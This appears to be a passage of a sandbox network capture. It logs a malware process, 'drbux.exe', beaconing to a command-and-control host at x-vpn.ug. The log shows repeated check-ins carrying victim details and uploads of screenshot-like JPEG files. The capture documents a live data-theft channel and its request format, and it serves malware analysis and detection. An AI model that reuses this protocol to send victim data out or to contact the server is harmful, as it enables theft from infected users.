Jul 19, 2021 18:36:46.705624104 CEST	19306	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:46.705794096 CEST	19306	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:46.706099033 CEST	19316	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:46.706217051 CEST	19319	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:46.789870024 CEST	19322	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:46.790618896 CEST	19325	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:46.791013956 CEST	19327	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:46.791418076 CEST	19330	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:46.791480064 CEST	19333	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:46.791882992 CEST	19336	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:46.792664051 CEST	19338	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:47.056801081 CEST	19406	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.6	50034	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:46.873910904 CEST	19356	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:46.957075119 CEST	19397	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.6	50035	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:47.151210070 CEST	19406	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:47.250212908 CEST	19407	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Jul 19, 2021 18:36:47.274668932 CEST	19407	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:47.274795055 CEST	19407	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:47.275006056 CEST	19417	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:47.275110960 CEST	19420	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:47.358408928 CEST	19425	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:47.358823061 CEST	19431	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:47.359441042 CEST	19434	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:47.359885931 CEST	19439	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:47.360403061 CEST	19447	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:47.364293098 CEST	19447	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:47 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:47.443073034 CEST	19450	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(
Jul 19, 2021 18:36:47.443145037 CEST	19453	OUT	Data Raw: 3d 6b 62 e3 fe 45 2d 1f fe b9 8f e5 58 fd eb 93 0d f0 bf 56 69 8c f8 d7 a2 01 ef 4b 81 45 2d 74 9c 68 40 29 f8 a6 d2 8a 45 21 c0 53 bb d3 69 c2 a4 a4 38 52 8a 05 28 35 2c b4 2d 38 73 48 08 a5 cd 49 a2 1e 29 45 34 53 85 26 52 1c 29 e2 9a 3a 52 81 Data Ascii: =kbE-XViKE-th@)E!Si8R(5,-8sHI)E4S&R):RPCjAQRhNNcL*A&W9-rc-~X"UcZ')6im]EpFk[M6yu4Ho4`aV[yI;m

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.6	50036	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:47.459994078 CEST	19495	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:47.554116011 CEST	19505	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:47 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.6	50037	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:47.738368034 CEST	19506	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:47.818223000 CEST	19507	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:47 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.6	50038	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:47.819674015 CEST	19507	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:47.819843054 CEST	19507	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:47.820050955 CEST	19517	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:47.820169926 CEST	19520	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:47.902637005 CEST	19523	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:47.902698040 CEST	19528	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:47.903111935 CEST	19534	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:47.903182983 CEST	19536	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:47.903337955 CEST	19543	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:47.903650045 CEST	19546	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
